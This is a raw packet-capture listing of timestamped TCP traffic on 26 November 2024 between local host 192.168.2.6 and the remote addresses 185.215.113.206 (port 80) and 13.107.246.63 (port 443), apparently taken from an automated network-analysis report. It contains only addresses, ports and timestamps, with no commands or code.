Nov 26, 2024 01:41:17.971066952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.971087933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.971893072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.972282887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.972398996 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.972426891 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.972685099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.973483086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.973601103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.973623037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.974049091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.974719048 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.974831104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.974958897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.975981951 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.976036072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.976094007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.976190090 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.977245092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.977355957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.977382898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.977521896 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.978483915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.978590012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.978634119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.979731083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.979825974 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.979846001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.979974985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.980977058 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.981091976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.981096983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.982229948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.982322931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.982362032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.983304024 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.983478069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.983580112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.983587980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.983699083 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.984738111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.984848022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.984966040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.985518932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.985994101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.986068010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.986093998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.986198902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.987230062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.987345934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.987354994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.987560034 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.988473892 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.988518953 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.988540888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.988574982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.988692045 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.988759041 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.989691019 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.989772081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.989774942 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.989801884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.989831924 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.989850044 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.989855051 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.990070105 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.990077972 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.990946054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.991055012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.991060972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.991107941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.991292953 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.991317987 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.991420984 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.991431952 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.991936922 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.991949081 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.991976976 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.992088079 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.992115021 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.992152929 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.992180109 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.992238045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.992249012 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.992352962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.993278980 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.993295908 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.993397951 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.993424892 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.993436098 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.993488073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.993489027 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.993513107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.993662119 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.993686914 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.993736982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.993736029 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.993752956 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.993882895 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.993916035 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.993937969 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994065046 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994232893 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994236946 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.994278908 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994389057 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994398117 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.994409084 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.994426012 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.994472027 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994473934 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994546890 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994558096 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.994653940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.994683981 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.994697094 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.994745970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.994751930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.994908094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.995337009 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.995342970 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.995374918 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.995486021 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.995520115 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.995811939 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.995863914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.995969057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.995980978 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.996048927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.997061014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:17.997493982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:17.997658968 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.997669935 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.997772932 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.998385906 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.998395920 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.998624086 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.998647928 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:17.998799086 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.998799086 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:17.998826981 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:18.046730042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.046832085 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.046950102 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.047271967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.047389030 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.047513962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.048445940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.048506021 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.048536062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.048576117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.049536943 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.049643040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.049663067 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.050290108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.050625086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.050741911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.050764084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.050808907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.051728964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.051817894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.051836967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.052851915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.052946091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.052954912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.053117037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.053972006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.054085016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.054111004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.054140091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.055073023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.055162907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.055188894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.055886984 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.056181908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.056294918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.056406021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.057297945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.057404041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.057434082 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.057477951 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.058566093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.058656931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.058738947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.059309959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.059504986 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.059565067 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.059588909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.060349941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.060647011 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.060751915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.060775995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.060853004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.061738968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.061856985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.061886072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.062066078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.062872887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.062985897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.063110113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.063960075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.064028978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.064059973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.064141989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.099556923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.099596977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.099831104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.100089073 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.100157976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.100188017 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.100280046 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.100949049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.101010084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.101037979 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.101257086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.102067947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.102138042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.102299929 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.103189945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.103317976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.103359938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.103447914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.104315042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.104419947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.104445934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.105384111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.105492115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.105516911 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.105751038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.106508017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.106616020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.106730938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.107626915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.107732058 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.107815981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.108771086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.108874083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.108984947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.109841108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.109957933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.109982967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.110682964 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.110961914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.111071110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.111123085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.111123085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.112080097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.112128973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.112154961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.112179995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.113159895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.113248110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.170352936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.170453072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.170481920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.170888901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.171000004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.171026945 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.171084881 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.171999931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.172396898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.172413111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.172492981 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.172517061 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.172964096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.173549891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.173664093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.173759937 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.174642086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.174720049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.174941063 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.175767899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.175844908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.175870895 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.176877022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.176965952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.176994085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.177253008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.177961111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.178028107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.178061008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.178154945 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.179079056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.179138899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.179169893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.180202007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.180306911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.180330038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.180583000 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.181320906 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.181426048 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.181458950 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.181569099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.182409048 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.182518959 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.182687998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.183569908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.183654070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.183691025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.183821917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.184669018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.184788942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.185045958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.185772896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.185908079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.185914993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.186017036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.186870098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.186980009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.187056065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.187988043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.188088894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.188100100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.188188076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.189116001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.189208984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.189224958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.189353943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.190237045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.190349102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.190380096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.190922976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.191318989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.191421986 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.191473961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.191473961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.192410946 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.192490101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.192513943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.192598104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.193559885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.193682909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.193833113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.194664955 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.194763899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.194792986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.194820881 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.247466087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.247523069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.247617006 CET	49715	80	192.168.2.6	185.215.113.206
